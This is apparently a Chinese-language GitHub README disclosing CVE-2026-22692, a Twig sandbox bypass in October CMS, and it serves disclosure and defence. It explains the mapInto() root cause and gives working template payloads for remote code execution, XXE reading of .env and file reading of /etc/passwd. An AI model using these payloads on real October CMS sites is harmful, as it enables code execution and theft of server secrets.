lukasz-rybak/CVE-2026-22692

GitHub: lukasz-rybak/CVE-2026-22692

分析 October CMS 中 Twig 沙箱绕过导致的 RCE/LFI/XXE 漏洞并提供 PoC 载荷。

Stars: 0 | Forks: 0

# CVE-2026-22692:Twig 沙箱绕过关键漏洞(collect()->mapInto() 导致 RCE/LFI/XXE)(十月 CMS) ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | [CVE-2026-22692](https://nvd.nist.gov/vuln/detail/CVE-2026-22692) | | **严重性** | 中危(CVSS:3.1 4.9) | | **安全公告** | [GHSA-m5qg-jc75-4jp6](https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6) | | **受影响产品** | October CMS(<= 4.1.4,<= 3.7.12) | | **漏洞类型** | Twig 沙箱绕过 -> RCE、LFI、XXE | | **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) | ## CWE 分类 - CWE-693:保护机制失效 - CWE-611:XML 外部实体引用不当限制 - CWE-74:下游组件使用的特殊元素未正确中和(‘注入’) ## 总结 十月 CMS 的 Twig 沙箱(安全模式)存在严重漏洞,允许具有模板编辑权限的认证用户绕过安全限制,执行任意 PHP 代码(RCE)或读取服务器上的任意文件(XXE/LFI)。 ## 细节 ### 根本原因 根本原因位于 `October\Rain\Support\SafeCollection`。该类实现了 `CallsAnyMethod` 接口,这会使 `System\Twig\SecurityPolicy` 绕过对该集合对象的标准方法白名单检查。 虽然 `SafeCollection` 尝试过滤参数以防止直接执行可调用对象,但它并未阻止 `mapInto($class)` 方法。`mapInto` 方法会遍历集合并实例化提供的类名: ``` new $class($value, $key); ``` 这允许攻击者实例化**应用程序中已知的任意类**。 ### 漏洞 1:RCE(函数执行) `System\Twig\SecurityPolicy` 显式将 `__toString()` 方法对所有对象进行了白名单。通过实例化 `Psy\Readline\Hoa\Xcallable`(它封装了一个可调用对象),并将其包装在 `GuzzleHttp\Psr7\FnStream` 中(该对象在其 `__toString` 方法中通过 `_fn___toString` 属性调用用户定义的函数),攻击者只需在 Twig 中打印该对象即可触发任意 PHP 函数的执行(这些函数无需参数,例如 `php_uname`、`phpinfo`)。 ### 漏洞 2:XXE(任意文件读取) `SimpleXMLElement` 类的第二个构造函数参数接受 libxml 选项标志。`mapInto()` 将集合键作为第二个参数传递给构造函数。通过创建一个键为 `2`(对应 `LIBXML_NOENT`)的集合,攻击者可以在 `SimpleXMLElement` 中启用外部实体替换,从而立即触发 XXE 并读取系统文件。 ### 漏洞 3:LFI(通过 SplFileObject 的任意文件读取) 使用原生 PHP `SplFileObject` 类存在更直接的本地文件包含(LFI)漏洞。通过 `mapInto()` 实例化 `SplFileObject` 并传入文件路径和读取模式,攻击者可获得一个可遍历的文件对象。将此对象传递给 `collect()` 辅助函数会立即触发迭代(通过框架核心中的 `iterator_to_array`),从而绕过沙箱的方法阻止策略。这允许读取 Web 服务器有权限访问的任何文件,而无需 XML 支持或特定第三方库。 ## 漏洞利用(PoC) ### 先决条件 - 对 October CMS 后端(或任何允许编辑 Twig 模板的功能)的认证访问权限 - `CMS_SAFE_MODE=true` ### 载荷 1:RCE(执行 `php_uname`) ``` {% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %} {% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %} {% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %} {% set methods = {'__toString': x} %} {% set f = collect([methods]).mapInto(clsF).first() %} System Info: {{ f }} ``` ### 载荷 2:XXE(读取 `.env` 文件) ``` {% set xml_payload = ']>&b;' %} {# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #} {% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %} FILE CONTENT (.env): {{ x }} ``` ### 载荷 3:LFI(通过 `SplFileObject` 读取 `/etc/passwd`) ``` {% set target = '/etc/passwd' %} {% set file = collect({'r': target}).mapInto('SplFileObject').first() %} {% set content = collect(file) %} LFI Result: {{ content.join('') }} ``` ## 影响 **远程代码执行(RCE)、本地文件包含(LFI)、XML 外部实体注入(XXE)。** - **RCE:** 允许执行 PHP 代码(限于 0 参数函数配合 FnStream 小工具,但可通过其他小工具扩展)。 - **LFI / XXE:** 允许读取 Web 用户有权限访问的服务器上任意文件(包括 `/etc/passwd`、数据库配置、`.env` 等),可通过多种向量(`SimpleXMLElement` 或 `SplFileObject`)实现。 这会影响任何十月 CMS 安装,其中不受信或半信任用户能够访问 CMS 模板编辑器,实际上允许其将权限提升至系统管理员/根逻辑级别。 ## 受影响产品 - **软件包:** octobercms/october(Packagist) - **受影响版本:** <= 4.1.4,<= 3.7.12 - **已修复版本:** 4.1.5,3.7.13 ## 参考链接 - https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6 - https://nvd.nist.gov/vuln/detail/CVE-2026-22692 ## 免责声明 本 CVE 遵循协调漏洞披露流程进行负责任披露。此处提供的信息仅用于教育和防御目的。
标签:CMS安全, collect, CVE, JavaScript, LFI, mapInto, October CMS, OpenVAS, PHP, RCE, SafeCollection, Twig, Twig Sandbox, XXE, 代码执行, 反序列化, 外部实体注入, 安全, 安全应急, 数字签名, 文件包含, 框架漏洞, 模板注入, 沙箱绕过, 漏洞, 编程工具, 超时处理, 远程代码执行